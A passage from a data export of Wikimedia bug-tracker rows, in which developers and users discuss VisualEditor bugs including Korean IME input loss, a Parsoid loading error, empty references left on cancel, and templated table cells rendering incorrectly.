+See http://en.wikipedia.org/w/index.php?title=User:Galadrien/sandbox&diff=564998163&oldid=549762292 .",,,1374283399,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1
+250696,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+
+I think VE team is working on this issue. Did you change the code related this?
+I think so.
+DangSunM's report is not what I got when I made the first report.
+
+Now I tested on Chome of iPad. It is different also.
+I input '한글 시험 합니다.', same as previous.
+And now I have '한글 싷험 합닏다.', like the think 
+http://en.wikipedia.org/w/index.php?title=User:Ryuch&curid=284811&diff=564158229&oldid=554104287
+.
+
+It duplicates the begining consonant of a syllable to the place of ending consonant of a syllable just before it in a word when the ending consonant is null.",,,1373767362,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+250688,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"I also tried to write some Korean words using visual editor
+"" 시 각 편 집 기 테 스 트 근데 잘 안되""
+but it types 
+"" 시 각 편 집 기 테 스 트 근데 잘 안되 되도안아잘자ㅈ데근ㄱ트스ㅋ크스ㅅ테ㅌㅍ페기집지편펴가"" see http://ko.wikipedia.org/w/index.php?title=%EC%82%AC%EC%9A%A9%EC%9E%90%3A%EB%B6%84%EB%8B%B9%EC%84%A0M&diff=11132326&oldid=11087937 for details",,,1373675877,,PHID-USER-dgjw4xb5i5zdwsiwvli5,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+250682,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Yes, lack of reliable IME support would be a show-stopper.",,,1373024925,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250675,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:
+
+This was feed backed to 
+http://www.mediawiki.org/w/index.php?title=Thread:VisualEditor/Feedback/i_can%27t_type_a_east_asian_character
+
+If you cannot resolve the problem in time, we'd better postpone the deployment on Korean Wikipedia or other Korean projects.",,,1373005232,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+250668,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #4)
+> The latin text in iBus Korean is:
+> 
+> gks rmf [SPACE] tl gja [SPACE] gkq sl ek
+> 
+> Typing just ""gksr"" the following events are fired:
+> 
+> compositionstart
+> g,k,s
+> compositionend
+> compositionstart
+> r
+> compositionend
+
+
+I'm seeing slightly different behaviour on Chromium 25.0.1364.160-0ubuntu0.12.04.1 using ibus 1.4.1-3ubuntu1 and ibus-hangul 1.3.1-3build1.
+
+If I start with an almost blank document (just the letter ""A"" with the cursor immediately after), then I can type ""gksrmf tlgja gkqslek"" and get exactly the expected characters """"한글 시험 합니다"". The event sequence is as it should be (with the second compositionend only happening when I hit space).
+
+However, if I then type the full stop, it goes *after* the cursor.",,,1372981869,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+250662,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Trying to type into an empty/slug paragraph causes all sorts of whacky behaviour and should probably be filed as a separate bug
+
+The latin text in iBus Korean is:
+
+gks rmf [SPACE] tl gja [SPACE] gkq sl ek
+
+Typing just ""gksr"" the following events are fired:
+
+compositionstart
+g,k,s
+compositionend
+compositionstart
+r
+compositionend
+
+with the final compositionend causing the second Hangul character to end prematurely.
+
+Need to investigate if this a browser bug related to IME's which allow continuous typing across graphemes.",,,1372975898,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+250656,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,This looks quite a lot like an IME issue (at least with iBus Korean).,,,1372970105,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0
+250651,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,David and I may take a look at this over a cocktail.,,,1372965335,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+250647,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,It also comes to Chrome on Win7.,,,1372823539,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52615,"VisualEditor: ""Error contacting the Parsoid server"" while editing a section in a diff","From En:Wikipedia
+
+""Interesting one that i just wandered across while looking at an old Articles for creation backlog drive, that causes a very interesting error popup to appear (Tested in Firefox 22)
+
+Navigate to http://en.wikipedia.org/w/index.php?title=Baylor_University_Institute_for_Oral_History&diff=555106174&oldid=prev
+Try to edit the ""Mission"" section in the VE.
+Result: An error popup stating Error loading data from server: parsoidserver: Error contacting the Parsoid server. Would you like to retry?
+This seems to be caused by the ""oldid=prev"" part. Normally this loads the revision prior to the Diff part of the URL, but it seems the VE cannot handle that correctly. Excirial (Contact me,Contribs) 21:25, 2 July 2013 (UTC)""
+
+
+I tried this and had the same experience on Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372801620,1373894349.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-du5yifaebt3zb2zhinvr,task_description,resolved,True,c1,3,False,False,True,0,,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+52609,VisualEditor: Cancelling out of adding a reference adds an empty reference,"From David Gerard on the en.wp feedback page: if you go to add a reference and then choose not to continue and exit out of the template and save the page instead of going back, VisualEditor creates an empty closed reference tab </re>.  See here:
+https://en.wikipedia.org/w/index.php?title=User:David_Gerard&diff=562600190&oldid=545746964
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52182",Medium,50.0,1372799760,1392747780.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-5ftakv5wuzkf73akgiop,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+249527,VisualEditor: Cancelling out of adding a reference adds an empty reference,This was fixed in (I think) August; sorry for not noting it until now.,,,1392747780,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,True,,,33,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+249515,VisualEditor: Cancelling out of adding a reference adds an empty reference,"This is because we currently have the logic for a creating refernece (and potentially re-using an existing reference) and actually interacting with the content of a reference in a separate dialog. As soon as you go into the editor it inserts an empty reference and lets you edit that.
+
+This sounds like another reason to keep those two things in the same dialog (instead of making it look like one, actually have it be one). A dialog is perfectly capable of having multiple ""pages"" or ""states"". This would save a small amount of duplication and gain a fix for this bug and the bug of the animation between the two dialogs.",,,1372814647,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,True,,,0,,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+249506,VisualEditor: Cancelling out of adding a reference adds an empty reference,"(In reply to comment #1)
+> Note that this doesn't happen until you hit ""Create reference"" inside the
+> first dialogue box, so you have arguably told it to create a reference ...
+> but this will confuse people, because modal dialogue boxes in applications
+> usually cancel out your actions if you just keep hitting the X.
+
+Agreed. We'll get this fixed.
+
+> Arguably, it shouldn't create a reference if it's got nothing to put into
+> the reference.
+
+Are you telling users they're not allowed to do what they want?! ;-) I think that the number of users irritated by just silently munching references created as blank (""so I can come back to it later!"") would be non-zero.",,,1372814416,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+249497,VisualEditor: Cancelling out of adding a reference adds an empty reference,"Note that this doesn't happen until you hit ""Create reference"" inside the first dialogue box, so you have arguably told it to create a reference ... but this will confuse people, because modal dialogue boxes in applications usually cancel out your actions if you just keep hitting the X. Arguably, it shouldn't create a reference if it's got nothing to put into the reference.",,,1372800411,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+52607,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","Compare the charts table in 
+
+* http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?oldid=561481881
+* http://parsoid.wmflabs.org/en/2012_%28It_Ain%27t_the_End%29?oldid=561481881
+* http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit&oldid=561481881
+
+In VE, the table cells seem to be squashed into one. The DOM looks like nested divs there, which would explain the different rendering.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50951",Medium,50.0,1372797900,1404172672.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+249425,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output",Fixed by gerrit 140439.,,,1404172672,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+249418,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output",*** Bug 52485 has been marked as a duplicate of this bug. ***,,,1385374740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249411,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","**Wikifram** wrote:
+
+Note that this bug affects all 5,000 pages that use Template:Episode list on enwiki.",,,1384938909,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,False,,,20,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+249407,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","{{yes}}. For comparison, the Parsoid output at http://parsoid.wmflabs.org/en/Comparison_of_open-source_software_hosting_facilities looks fine.",,,1378399018,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249405,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output",Is this bug responsible for the {{yes}} and {{no}} templated cells not rendering as separate cells at https://en.wikipedia.org/w/index.php?title=Comparison_of_open-source_software_hosting_facilities&veaction=edit&section=1 ?,,,1378374796,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0
+249402,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","This is because the HTML looks like <td typeof=""mw:Transclusion"" about=""#mwt139"">...</td><td about=""#mwt139"">...</td> and so the group of table cells is considered a template, and so the CE rendering is wrapped in a <div>. I'd like to be able to render templates (and aliens) without wrapper divs in CE, but I'm not sure how realistic that is.",,,1372872684,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+52589,Templates that create multiple table cells don't work,"**Author:** `kwwilliams`
+
+**Description:**
+VE can't properly display any table using {{singlechart}} on English Wikipedia, which makes any editing of the fields pretty dicey.
+
+Taking http://en.wikipedia.org/wiki/5_O%27Clock_%28T-Pain_song%29 as an example (it's actually one of thousands), http://en.wikipedia.org/wiki/File:Singlechart-Articleview.PNG shows what the table looks like when being displayed. http://en.wikipedia.org/wiki/File:Visual-editor-singlechart.png shows what it looks like after Visual editor has been engaged. Note that South Korea (GAON) rows and Romanian Top 100 rows are generated by manual table markup and the remainder are template calls.
+
+This probably comes about from two factors:
+
+1) Singlechart generates a ""|"" or ""!"" internally to start a table row, based on whether it has been called with the rowheader parameter.
+2) Singlechart generates another | between the two data items it outputs to separate the fields in the table row.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50366
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44498
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50951
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52296",Medium,50.0,1372780080,1377030097.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-65s4zvg7e6km2enogisy,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+248266,Templates that create multiple table cells don't work,"Fixed by https://gerrit.wikimedia.org/r/#/c/79430/, which is now deployed. Chart tables such as the one on http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit now render and round-trip as expected.
+
+The unrelated table rendering issue in http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit is VisualEditor bug 50607.",,,1377030097,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+248260,Templates that create multiple table cells don't work,This seems to be related to bug 44498.,,,1375195683,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+248255,Templates that create multiple table cells don't work,"Not sure if I should open a new or make a comment here... But is this wrong rendering (too much td nodes) the result of this bug?
+http://parsoid.wmflabs.org/sr/%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B0",,,1373659290,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+248251,Templates that create multiple table cells don't work,"(In reply to comment #10)
+> Oh wow, on some more investigation it looks like we are actually rendering
+> the table just fine:
+> 
+> http://parsoid.wmflabs.org/en/2012_%28It_Ain%27t_the_End%29
+> 
+> So the odd rendering seems to be a VE issue.
+
+Should this bug be recategorized then?",,,1373236010,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,1
+248246,Templates that create multiple table cells don't work,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+248240,Templates that create multiple table cells don't work,"Oh wow, on some more investigation it looks like we are actually rendering the table just fine:
+
+http://parsoid.wmflabs.org/en/2012_%28It_Ain%27t_the_End%29
+
+So the odd rendering seems to be a VE issue.",,,1372797568,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+248234,Templates that create multiple table cells don't work,"> You really need to be parsing *after* template expansion and tracking all the
+> text that the templates generate.
+
+We are tokenizing templates and content separately so that we can cut template vs. non-template content on a token level. Attribute keys and values can also be templated, but we don't support templates producing several attributes and parts of a token.
+
+This and the need to infer resulting DOM structures affected by template-produced tokens already adds a lot of complexity, but at least the results can somewhat sanely be represented in DOM. Having 1/3 of a DOM element's start tag be generated by page source and 2/3 templated on some arbitrary boundary would be a nightmare to represent in DOM and even worse in a UI.
+
+You are right though that we *could* in theory represent something like |{{singlechart|..}} as a special case of a multi-part templated construct. This would run counter to our desire to move towards self-contained templates though that are easier to edit both in wikitext and the VE. Removing the pipes in the page and returning the full table row from singlechart would be better in that regard.
+
+> Removing the pipe doesn't quite work, though: take a peek at
+> http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit vs.
+> http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29 and notice how the
+> manual entries and the templated entries align in the normal view but
+> scramble
+> in the edit view.
+
+Indeed, it seems that we don't recognize single-line rows that don't start with ||. As a workaround, it should be possible to emit '||' from the template instead. I'll file a bug for our table row tokenization bug.",,,1372797193,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+248227,Templates that create multiple table cells don't work,"**kwwilliams** wrote:
+
+As a help: there are only a few dozen templates that do things like this. I would have no problem at all adding something in the TemplateData that gave VE a clue as to what was going on, like
+
+ ""table"":
+  {
+    ""cells"": 2,
+    ""rowheader"": ""true"",
+  }",,,1372794694,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+248220,Templates that create multiple table cells don't work,"**kwwilliams** wrote:
+
+Hadn't noticed the leading | character. That is wrong, albeit harmless in most cases (if someone set rowheader=true, it would be a visible error). I removed all of those in a bot run before, and it looks like it's time to do it again.
+
+Removing the pipe doesn't quite work, though: take a peek at http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit vs. http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29 and notice how the manual entries and the templated entries align in the normal view but scramble in the edit view.
+
